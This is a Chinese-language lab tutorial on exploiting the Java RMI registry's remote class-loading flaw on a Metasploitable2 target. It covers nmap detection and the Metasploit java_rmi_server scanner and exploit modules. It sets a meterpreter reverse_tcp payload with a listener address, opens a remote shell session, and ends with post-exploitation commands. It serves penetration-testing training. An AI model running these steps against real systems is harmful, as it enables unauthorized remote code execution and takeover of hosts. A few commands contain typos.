导语:Java远程方法调用,也就是Java RMI,它是一种机制,允许一个Java虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。

Java远程方法调用,也就是Java RMI,它是一种机制,允许一个Java虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。

漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。

RMI协议使用两种其他协议来实现其on-the-wire格式,即Java对象序列化和HTTP协议:

· 对象序列化协议用来编组调用和返回数据。

· HTTP协议用于POST远程方法调用,并在情况允许时获取返回数据。

Step1—漏洞发现

第一步就是拿nmap神器扫描目标地址。

命令:nmap 192.168.73.130

192.168.73.130是我们的靶机(metasploitable2),靶机上安装了Java RMI服务(rmiregistry),运行在1099端口上,你也可以通过nmap扫描结果来看这个端口是开放的。

Metasploitable2介绍:这是一个集合了各种漏洞的靶机,可以用来进行安全培训,测试安全工具和练习常用的渗透测试技巧。

2.png

你也可以使用nmap脚本来验证这个漏洞是否存在,命令如下:

nmap –script=rmi-vuln-classloader -p 1099 192.168.73.130

下面的脚本检测Java rmiregistry服务是否允许加载类。默认的配置允许rmiregistry服务从远程URLs加载类,这就导致了远程代码执行。

供应商(Oracle/sun公司)声称这是一项涉及功能。

3.png

在我们的攻击机上启动MSF,然后在控制台搜索java_rmi,命令如下:

search java_rmi

4.png

通过上面的截图可以看到,有很多与Java RMI相关的模块,不过对于扫描来说,最佳模块是auxiliary/scanner/misc/java_rmi_server,对于漏洞利用,最佳模块是exploit/multi/misc/java_rmi_server

我们先使用扫描模块,输入下列命令,然后”show options”一下

use auxiliary/scanner/misc/java_rmi_server

5.png

接下来是设置RHOST和RPORT,命令如下:

setRHOSTS 192.168.73.130
setRPORT 1099
run

6.png

Step2—漏洞利用

我们可以看到扫描器检测到了运行在1099端口上的java RMI服务,这就表明它可能存在这个漏洞。

现在我们就来使用一下漏洞利用的最佳模块,命令如下:

use exploit/multi/misc/java_rmi_server

然后输入“show options”查看需要设置的参数,如图:

7.png

该模块(java_rmi_server)利用RMI registry和RMI激活服务,允许从任何的远程URLs加载类。由于它调用了RMI Distributed Garbage Collector中的一个方法,该方法在每个RMI终端中都是可用的,它既可以用于rmiregistry和rmid,也可以用于大部分其他(自定义的)的RMI终端。

注意:它不适用于Java Manager Extension(JMX)端口,因为它们不支持远程加载类,除非有另一个RMI终端在相同的java进程中处于活跃状态。RMI方法调用不支持或要求任何的身份验证。

同样,你还是要设置RHOST和RPORT。

setRHOST 192.168.73.130
setRPORT 1099

8.png

然后,你还需要设置payload来进行反向TCP shell连接,命令如下:

Set payload /java/meterpreter/reverse_tcp

你可以输入show payloads来查看所有的payload。

接着我们还是输入“show options”来查看刚才设置的payload需要设置的参数。如图:

9.png

这里你可以看到缺少了LHOST,因为我们使用的是反向shell,我们需要设置一个监听地址和监听端口,这里我的LHOST地址是192.168.73.128,监听端口我设置为4444,如图:

10.png

我们可以看到这个exp在我们的系统中启动了一个处理器,向靶机发送RMI方法调用,然后成功打开了一个meterpreter会话。

输入“session -i”来查看所有已建立的会话,连接活跃的会话,我们可以使用“session -i <ID>”,如图:

11.png

建立会话连接之后,我们就可以使用sysinfo,shell和getuid等命令了,如图:

12.png

源链接

Hacking more

...